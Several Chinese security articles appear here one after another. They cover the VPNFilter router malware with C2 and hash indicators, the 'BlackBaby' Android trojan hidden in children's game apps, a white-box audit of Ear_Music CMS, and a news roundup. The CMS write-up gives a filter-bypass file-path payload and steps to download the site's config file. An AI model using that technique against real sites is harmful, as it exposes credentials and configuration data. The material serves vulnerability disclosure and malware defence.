4)Talos开发并部署了100多个Snort签名,用于公开已知的与此威胁相关的设备的漏洞。这些规则已经部署在公共Snort集合中,可以使用这些规则来保护设备。

5)对VPNFilter涉及的域名/ip地址做黑名单,并将其与该威胁关联起来,进行检测拦截防御。

6)路由器和NAS设备被感染,建议用户恢复出厂默认值,升级最新版本打上最新补丁并重新启动。

事件回溯

2018年5月8日,思科Talos团队观察到VPNFilter感染活动急剧增加,几乎所有新的受害者都在乌克兰。同时,BlackEnergy和VPNFilter之间有代码重叠。而且种种迹象表明攻击可能很快就会发生;另外,至5月17日,在乌克兰新的VPNFilter受害者再次大幅增加。据估计,至少有54个国家的感染设备数量至少达到50万。为尽快减少此恶意软件带来的危害,思科Talos团队与合作伙伴协商后,在尚未完成研究之前就公开了这些信息。

据悉,VPNFilter恶意软件瞄准的设备类型为网络设备和存储设备,一般很难防御。这些设备经常出现在网络外围,没有入侵保护系统(IPS),也通常没有可用的基于主机的防护系统,如反病毒(AV)包,而且大多数的类似目标设备,特别是运行旧版本的,都有公开的漏洞或默认口令。这使得攻击相对简单,至少从2016年起这种威胁增长得很快。

目前,受VPNFilter恶意软件影响的已知设备:Linksys、MikroTik、NETGEAR和TP-Link网络设备,一般在小型和家庭办公室(SOHO)空间,以及QNAP网络附加存储(NAS)设备。

解析VPNFilter恶意软件

VPNFilter恶意软件是一个分不同阶段而且模块化运行的攻击平台,支持多种功能,并可进行情报收集和破坏性网络攻击操作。

第1阶段恶意软件通过重新启动植入,这使得它有别于大多数其他恶意软件,因为恶意软件通常无法在设备重启后存活。第1阶段的主要目的是获得一个持久化存在的立足点,并使第2阶段的恶意软件得以部署。第1阶段利用多个控制命令和通道(C2)来发现当前阶段2部署服务器的IP地址,使这个恶意软件极其健壮,能够处理不可预测的C2基础结构变化。

第2阶段恶意软件拥有智能收集平台中所期望的功能,比如文件收集、命令执行、数据过滤和设备管理,某些版本也具有自毁功能,覆盖了设备固件的关键部分,并可重新引导设备,使其无法使用。

此外,还有多个阶段3的模块作为第二阶段恶意软件的插件,提供附加功能,当前思科Talos团队已发现了两个插件模块:一个数据包嗅探器来收集通过该设备的流量,包括盗窃网站凭证和监控Modbus SCADA协议,以及允许第二阶段与Tor通信的通信模块,据称仍然有其他几个插件模块但当前还没有发现。

image001.jpg

其中:

1.VPNFilter恶意软件已知的C2域和IP

阶段1:

photobucket[.]com/user/nikkireed11/library

photobucket[.]com/user/kmila302/library

photobucket[.]com/user/lisabraun87/library

photobucket[.]com/user/eva_green1/library

photobucket[.]com/user/monicabelci4/library

photobucket[.]com/user/katyperry45/library

photobucket[.]com/user/saragray1/library

photobucket[.]com/user/millerfred/library

photobucket[.]com/user/jeniferaniston1/library

photobucket[.]com/user/amandaseyfried1/library

photobucket[.]com/user/suwe8/library

photobucket[.]com/user/bob7301/library

toknowall[.]com

阶段2:

91.121.109[.]209

217.12.202[.]40

94.242.222[.]68

82.118.242[.]124

46.151.209[.]33

217.79.179[.]14

91.214.203[.]144

95.211.198[.]231

195.154.180[.]60

5.149.250[.]54

91.200.13[.]76

94.185.80[.]82

62.210.180[.]229

zuh3vcyskd4gipkm[.]onion/bin32/update.php

2.文件HASH值

阶段1:

50ac4fcd3fbc8abcaa766449841b3a0a684b3e217fc40935f1ac22c34c58a9ec

0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92

阶段2:

9683b04123d7e9fe4c8c26c69b09c2233f7e1440f828837422ce330040782d17

d6097e942dd0fdc1fb28ec1814780e6ecc169ec6d24f9954e71954eedbc4c70e

4b03288e9e44d214426a02327223b5e516b1ea29ce72fa25a2fcef9aa65c4b0b

9eb6c779dbad1b717caa462d8e040852759436ed79cc2172692339bc62432387

37e29b0ea7a9b97597385a12f525e13c3a7d02ba4161a6946f2a7d978cc045b4

776cb9a7a9f5afbaffdd4dbd052c6420030b2c7c3058c1455e0a79df0e6f7a1d

8a20dc9538d639623878a3d3d18d88da8b635ea52e5e2d0c2cce4a8c5a703db1

0649fda8888d701eb2f91e6e0a05a2e2be714f564497c44a3813082ef8ff250b

阶段3:

f8286e29faa67ec765ae0244862f6b7914fcdde10423f96595cb84ad5cc6b344

afd281639e26a717aead65b1886f98d6d6c258736016023b4e59de30b7348719

* 本文作者:阿里聚安全,转载注明来自FreeBuf.COM

一、概要

近期,腾讯安全反诈骗实验室自研的TRP-AI反病毒引擎捕获到儿童游戏-宝宝**、儿童游戏-宝宝**、儿童游戏-公主** 等“儿童游戏”系列应用在用户设备上有流量异常行为,且存在频繁动态加载dex文件、执行命令、私自提权等可疑操作。安全研究人员通过深入跟踪和分析,发现这类应用表面上是儿童益智类的小游戏,在国内大部分应用市场都有上架,运行后应用界面也没有广告,看起来很“良心”,但实际上,这些应用可以通过云端控制下发恶意插件,在背地里做着用户无法感知的恶意行为:加载恶意广告插件,通过将广告展示界面设置为不可见,进行广告盗刷行为,疯狂消耗用户流量;动态加载恶意ROOT子包,获取手机ROOT权限,替换系统文件,将恶意的ELF文件植入用户手机。

安全人员将这一系列木马应用称为“BlackBaby”木马家族,且“BlackBaby”木马植入的恶意ELF文件模块可以脱离母体独立运行,长期潜伏用户手机,且开机自启动,在后台静默推送恶意色情、扣费软件,对用户造成严重滋扰。

腾讯安全专家分析发现“BlackBaby”系列木马为了绕过查杀、提升了与杀软对抗的能力,使用了很多病毒逃逸技术,主要包括:

使用代码分离技术将代码拆分为多个dex子包,分阶段自云端下载并动态加载,用以绕过了杀软的安装包检测,且便于其他应用集成;

使用了强混淆技术,自定义的字符串变形加密等手段,对抗静态代码检测;

云端控制下发逻辑,躲避杀软的蜜罐检测;

“BlackBaby”系列木马涉及一百多款儿童游戏应用,累计影响用户数达百万,其中影响用户较大的应用有:

软件名 包名 周用户量
儿童游戏-涂*** com.men.******rawl 20万+
儿童游戏-宝宝***钉 com.lhyy.chil****urnly 12万+
儿童游戏-打*** com.yuyoo******le3.sub1 7万+
宝宝***-儿童游戏 com.lhyy.chi*****ro 7万+
宝宝学习-涂色*** com.ba*****lor 6万+
儿童游戏-宝宝*** com.lhyy.children*** 4万+
儿童游戏-宝宝*** com.lhyy.childrenc*** 3.5万+
宝宝游戏-儿童超市 com.lhyy.children*** 3.5万+
儿童游戏-宝宝***钉 com.lhyy.children****ly 3.5万+
儿童游戏-宝宝***屋 com.lhyy.ltm.baby**** 3万+
儿童游戏-宝宝***钉 com.lhyy.children****** 3万+
儿童游戏-宝宝*** com.doding.children****** 3万+
宝宝游戏-儿童*** com.lhyy.children****** 2.5万+
儿童游戏-宝宝***巴士 com.baby.baby*** 2.5万+
恐龙宝宝***益智 com.lhyy.wl.protwobaby****** 2.5万+
宝宝***派对 com.lhyy.ltm.baby****** 2.5万+
宝宝游戏-儿童*** com.lhyy.children****** 2.5万+
儿童游戏-方块*** com.lhyy.******ks 2.5万+
儿童游戏-宝宝*** com.lhyy.children****** 2.5万+
儿童游戏-***花园 com.yuyoogame.ameng******u1Sub1.sub1 2.5万+
****拼图儿童拼图 com.lhyy.***** 2+
儿童游戏-宝宝*** com.baby.**** 2+
宝宝***酷游戏 com.lhyy.wl***** 2+
儿童游戏-***音乐 com.doding.children**** 1.5万+
儿童游戏-宝宝**** com.lhyy.children**** 1.5万+
****游戏-2到7岁 com.doding.fmsdjig****** 1.5万+
宝宝神奇** com.lhyy.wl.new**** 1.5万+
儿童学习公主**** com.lhyy.wl.princesspuzzl**** 1.5万+
****游戏-2到7岁 com.doding.fmsdjigsaw**** 1.5万+
美图****宝宝拼图 com.lhyy.wl.****puzzle 1.5万+
****乐园-宝宝游戏 com.yuyoogame.ameng******.bingyuan1 1.5万+
儿童游戏-宝宝**** com.lhyy.children**** 1.5万+
宝宝游戏-儿童*** com.lhyy.children**** 1.5万+
儿童游戏-宝宝**** com.doding.children****** 1万+
宝宝认知****游戏 com.yuyoogame.******gu1 1万+
宝宝****益智游戏 com.lhyy.wl.probaby**** 1万+
儿童游戏-****乐园 com.yuyoogame.****** 1万+
宝宝*** com.lhyy.children**** 1万+
宝宝游戏***达人 com.lhyy.wl.****** 1万+
宝宝游戏-儿童****钉 com.lhyy.children****** 1万+
儿童游戏-**世界 com.yuyoogame.****** 1万+
****乐园3 com.yuyoogame.ameng.**** 1万+
儿童游戏****拼图 com.lhyy.wl.****puzzle 1万+
儿童游戏-宝宝**** com.lhyy.children**** 1万+
……    

腾讯安全反诈骗实验室自研的TRP-AI反病毒引擎基于应用的行为进行深度学习,能有效探测应用的可疑操作,很好的应对上述病毒应用采用的逃逸技术,目前已经率先支持查杀该木马家族。

图片1.png图片2.png

二、病毒详细分析

我们以 儿童拼图**拼图 样本为例,对“BlackBaby”木马的作恶行为进行详细分析。

2.1 病毒执行流程

1-dama.png

2.2  详细流程分析

应用启动时调起fmsd插件的InitSDK方法,会首先连接云端服务器获取配置信息;

1.png2.png

3-dama.png

云端返回的配置信息,其中子包主要有两个,分别为fmsd_sdk.jar 和 fmsd_sdk_standard.jar,并设置了子包在各渠道上是否下发;

13-dama.png

根据云端返回的结果和自身的渠道信息,决定是否下载恶意子包fmsd_sdk.jar 和 fmsd_sdk_standard.jar

11-dama.png12-dma.png

A、fmsd_sdk.jar子包设置隐藏广告界面,针对不同的广告平台,进行刷广告行为,消耗用户流量

2.png

1)、反射调用*** mobad的API接口进行刷广告

3.png

2)、反射调用g***的API接口进行刷广告

4.png

3)、使用自定义的webView加载广告url来刷德业广告

伪造请求,获取广告链接

4-dama.png

广告提供商返回的广告信息

5.png

解析返回的广告信息,使用自定义的webView加载广告

6.png7.png

4)、动态抓包获取的广告流量

7-dama.png8-dama.png

B、 fmsd_sdk_standard.jar子包静默Root用户手机、植入恶意elf模块

1)  Dex子包 fmsd_sdk_standard.jar 会从服务器 http://bnzx.*****61819 下载加密文件,并解密释放在应用的.um_ass目录,释放的文件libumeng.so是一个so文件,子包通过System.load() 加载so文件,并调用它的load_native()方法;

8.png

So文件libumeng.so会下载dex子包opa_link.jar ,通过JNI调用DexClassLoader将其动态加载,并将获得的ClassLoader返回给Java层;Java层再通过得到的ClassLoader加载目标类并调用其方法;

9.png

2)  opa_link.jar 恶意子包被调用后会链接服务器,上传设备相关信息,获取服务器返回的Root子包的相关数据10.png11-dama.png

加密传输的网络请求

14-dama.png

解密后的网络请求,我们可以清楚的看到,恶意子包将设备的恶意子包的版本信息、用户应用安装列表、运行包名、运行信息、以及(imei、imsi、osver、mac等)设备信息上传到服务器端;

12-dama.png

解密后的服务器返回数据,包含一些配置信息和root模块的下载url、入口类名、函数名等信息。

5.png

解析服务器返回的数据,获取Root模块的url、入口类名、函数名等信息

13.png

下载root子包,以md5+.jar重命名文件解密释放到应用的.lib/2001目录

14.png

根据下发的配置信息,加载并调起Root子包

16.png

3)  Root子包被加载调用后,会联网下载Root方案,对用户设备进行root

18.png

子包Root成功后,会链接云端服务器,下载、植入病毒相关的脚本和恶意elf文件到设备的系统目录,并进行长期潜伏。其中主要的恶意文件包括但不限于以下文件:

类型 功能 主要文件
恶意脚本 开机启动病毒模块 /system/etc/mocdinfo.sh /system/etc/install-recovery.sh /system/etc/install-cm-recovery.sh /system/bin/.install-recovery.no.sh
相关配置文件 存储相关配置信息和设备标识 /system/etc/.asks /system/etc/.chlres /system/etc/.zosie /system/etc/.uuidres /system/etc/.rac /system/etc/.rsd …
恶意elf文件 长期潜伏系统,以root权限运行; 与服务器进行通信,上传设备隐私信息; 下载安装应用,进行流氓推广行为 /system/xbin/cksxlbay /system/xbin/csbrislp /system/xbin/uixyeb /system/xbin/.run-us /system/xbin/oqlgo /system/xbin/qgvyjmr /system/xbin/zisjj /system/xbin/axhxb /system/xbin/wwmxb /system/xbin/culpxywg /system/xbin/paeoaki /system/xbin/csbrislp /system/xbin/togxzx ….

被植入恶意elf文件模块在后台运行,连接服务器,下载并静默安装恶意推广应用。恶意推广应用启动后,并以插屏、循环轮播的方式频繁弹出广告,严重影响用户手机正常使用。

19.png

三、病毒C2C相关信息和逃逸手段

C2C信息

URL 备注
http://apps****SDK.json 云端控制信息
http://apps.******SDK_DEX.jar fmsd_sdk.jar下载  
http://apps******DEX.jar fmsd_sdk_standard.jar下载
http://bnzx.******61819 加密so下载
http://zynb******Service
http://yznbt.******Service
服务器返回Root子包信息
http://ef328t.******.xjar 加密Root子包下载
……  

病毒隐匿技术和对抗手段:

1、将恶意功能的实现拆分到多个dex子包中,通过云端配置是否下发,可以绕过应用安装包检测和增加蜜罐分析的难度;

2、恶意行为隐藏在后台执行,躲过用户感知;

3、恶意子包加密传输,且使用自定义的字符串变形、加密,增大病毒分析的难度;

四、溯源信息

通过对相关信息溯源发现,该幕后黑手是位于天津的厂商

6-dama.png

五、安全建议和防范手段

随着Android生态的发展与完善,Android平台的恶意软件与杀软的对抗也日趋白热化,对抗手段不断升级,恶意软件制作者采取各种病毒逃逸技术,混淆、加密、动态加载、云端下发等,以期绕过杀毒软件的检测。针对日益升级的对抗,腾讯安全已推出自研AI反病毒引擎——腾讯TRP引擎,TRP引擎通过对系统层的敏感行为进行监控,掐住病毒软件的命脉,配合能力成熟的AI技术对应用行为的深度学习,能有效识别恶意应用的风险行为,并实时阻断恶意行为,为用户提供更高智能的实时终端安全防护。

20.png

为尽可能的避免恶意软件的危害,我们也给用户提出了以下几条防护建议:

1、不要安装非可信渠道的应用;

2、手机上网时,不要随意点击不明URL链接和扫描安全性未知的二维码信息;

3、及时进行安全更新;

4、安装手机安全软件,实时进行保护。

六、附录

样本sha1

0efc20d54*****d1d97784

0aa152ad********afa5e73d9

30ef38d************1c0699cba3a3c

恶意子包sha1

c7e015972****476a68bb4

a60f8****ddfd292aa4

54aed2****09f1e23c

839fd****203fff04

恶意elf文件sha1

cccef575****b543a106

25e8e36****af84ac1

bca00c****f3a9761

83ea6****7eb8c0fb

9a891a1****d9f43ddfe

*本文作者:腾讯手机管家,转载请注明来自FreeBuf.COM

*本文原创作者:davichi8282,属于FreeBuf漏洞奖励计划,未经许可禁止转载

0×00概述

继上次审计HDWiki之后,最近拿到一套新的源码Ear_Music_20180510_UTF8最新版进行审计,发现这套cms还是比较安全的,而当我审计遇到一处下载点的时候发现存在安全问题,也就是任意文件下载漏洞,任意文件下载漏洞php最常见的函数就是readfile()这个函数,当里面的参数我们可以控制的话就会存在任意文件下载风险。

0×01 白盒审计

源码信息:Ear_Music_20180510_UTF8

问题文件: \template\default\source\down.php

漏洞类型:任意文件下载

站点地址:http://www.erduo.in/index.php/download/

首先进行安装之后主界面如下;

3.png

由于我是习惯跟着功能点走的,个人习惯吧,有些人通读全文,有些人跟踪数据流等,各有各的利弊吧,这个cms发现功能点比较多,各种编辑上传什么的,当审计遇到一个“下载LRC歌词”功能点的时候发现是使用readfile()函数的,具体页面以及代码段如下:

33.png

代码段为\template\default\source\down.php

34.png

看到readfile()函数了,这里的$file函数是用户提交的歌词信息所以说是可控的,从这段代码可以看到$file参数是通过geturl和getfield两个函数生成的,分别跟进,首先geturl()函数路为/source/system/function_common.php。

45.png

getfield()函数从函数名称就能看出来是用来获取数据库信息的所以此处没有写出来,重点看geturl()函数。可以看到通过一些正则来打出最后的$url参数,但是当$file参数不符合正则的时候直接将$file参数赋给$url即你上传的什么就读取什么,读取下载的时候未作任何过滤操作,好这时候我们就转向上传的地方看看。

具体路径为\source\user\music\ajax.php,这边是歌词上传。

55.png

可以看到$lyric就是歌词参数,但是看到有checkrename(),unescape(),SafeRequest()三个函数过滤一个一个看,首先SafeRequest()函数,路径为\source\system\function_common.php。

32.png

可以看到有addslashes过滤和’\\’替换为空,一般这种替换成空的方法往往存在绕过可能。来看下一个函数unescape(),路径还是上面那个。

555.png

可以看到里面还有SafeSql()函数,通过追踪发现也是过滤’\\’的,这里就不截图了。

最后来看下最重要的函数checkrename()函数,路径为\source\system\function_common.php。

65.png

可以看到这里主要是使用正则来进行过滤,当匹配到”./”,”iframe”,”.php”这3个任何一个的时候直接显示’Safety filter’字段进行过滤,还有上面几个函数是过滤”\”这个的,综合看来由于读取的时候未作任何过滤所以可以通过输入物理路径进行任意文件的下载读取。

0×02 漏洞利用

比如config.inc.php文件的物理路径为:

D:\phpStudy\WWW\Ear_Music_20180510_UTF8\source\system\config.inc.php

由于”\”会被过滤可使用”/”替换绕过,”.php”会被过滤可通过后面加点进行绕过,综合起来最终的payload为:

D:/phpStudy/WWW/Ear_Music_20180510_UTF8/source/system/config.inc.php

首先注册一个账号进去之后到上传音乐页面。

11.png

歌词位置填写上面的payload之后保存编辑,然后到待审音乐点击刚上传的音乐。

43.png

跳到下面页面之后点击下面的”下载LRC歌词”,即可下载我们的配置文件了。

46.png

*本文原创作者:davichi8282,属于FreeBuf漏洞奖励计划,未经许可禁止转载

各位 Buffer 早上好,今天是 2018 年 5 月 31 日星期四,农历四月十七。今天份的早餐内容主要有:Google Chrome 67稳定版发布:共计修复34处安全漏洞;欧洲刑警组织创建专门调查小组打击暗网犯罪活动;FBI告诫用户重启路由器以暂时中断恶意软件;Windows 10杀软最新评测结果:小红伞第一、Defender仍欠火候;美政府发布警告 称朝鲜可能发起新一轮网络攻击;“隐蜂”来袭:全球首例Bootkit级挖矿僵尸网络。

安全资讯早知道,两分钟听完最新安全快讯~

food-863484_960_720.jpg

欧洲刑警组织创建专门调查小组打击暗网犯罪活动

欧洲刑警组织欧洲网络犯罪中心(EC3)内新成立的“暗网调查小组”,这是欧洲刑警组织的一项倡议的结果,该倡议“建立一种协调的执法办法,以对付暗网上的犯罪”。执法机构指出,世界各地犯罪组织和个人非法活动的许多重要市场都在黑暗网络上托管。这些地下市场为罪犯提供了肥沃的环境,因为它们提供了匿名买卖的可能性。[来源:SecurityWeek]

Google Chrome 67稳定版发布:共计修复34处安全漏洞

Google正式放出了Chrome 67稳定版,目前已经面向Windows、Mac和GNU/Linux平台开放下载。Chrome 67版本中,Google继续推进Site Isolation功能来提升Chrome浏览器的整体安全性能,降低和保护用户不受安全漏洞的影响。Chrome 67稳定版共计修复了34处安全漏洞,涵盖Blink引擎中的 use-after-free攻击漏洞和类型混乱漏洞,2个Skia图形引擎中的Heap Buffer溢出漏洞,indexedDB组件中的use-after-free攻击漏洞和WebRTC中内存访问漏洞。[来源: BleepingComputer]

FBI告诫用户重启路由器以暂时中断恶意软件

在VPNFilter恶意软件事件爆发之后,也引发了各国的关注。美国FBI发布文件,建议任何小型办公室和家庭办公室路由器的所有者重新启动设备,以暂时中断恶意软件,并帮助识别潜在的受感染的设备。建议所有者考虑禁用设备上的远程管理设置,并在启用时使用强密码和加密进行安全保护。网络设备应升级到最新可用的固件版本。[来源:IC3]

Windows 10杀软最新评测结果:小红伞第一、Defender仍欠火候

AV-TEST发布了2018年4月份的杀软测试报告,平台是Windows 10个人用户。本次的成绩略有些变化,此前一直稳居第一的卡巴斯基没有拿下三个6分总计18分的满分,让位给了AhnLab V3(安博士)和Avira Antivirus Pro 15.0(小红伞)。Windows 10自带的Windows Defender获得16.5分,防护力、性能和易用性都是5.5分。[来源:cnBeta]

美政府发布警告 称朝鲜可能发起新一轮网络攻击

据美联社报道,随着朝鲜向纽约派出了一名高级顾问、为其可能的核峰会做准备,特朗普政府于星期二发布了一项关于朝鲜恶意网络活动的新警告。来自美国联邦调查局和国土安全部的技术警报中,重点描述了两款恶意软件,据说它们被用于攻击美国航空航天、金融、媒体等企业的基础设施。在持续的至少 9 年时间里,其涉及信息窃取和远程网络操控。[来源:cnBeta]

“隐蜂”来袭:全球首例Bootkit级挖矿僵尸网络

近期金山毒霸团队捕捉到一个新的Bootkit样本,从框架设计到代码细节处理上都非常完善,在隐蔽性、兼容稳定性、反分析对抗等各方面都达到了一个全新高度,病毒代码的复杂程度、专业程度也为近年所罕见,命名为隐蜂。其具备强悍的隐蔽性和对抗分析能力,到至今的三个多月都不曾被外界发现曝光。[来源:FreeBuf]

*本文由Andy.i整理编译,转载请注明来自FreeBuf.COM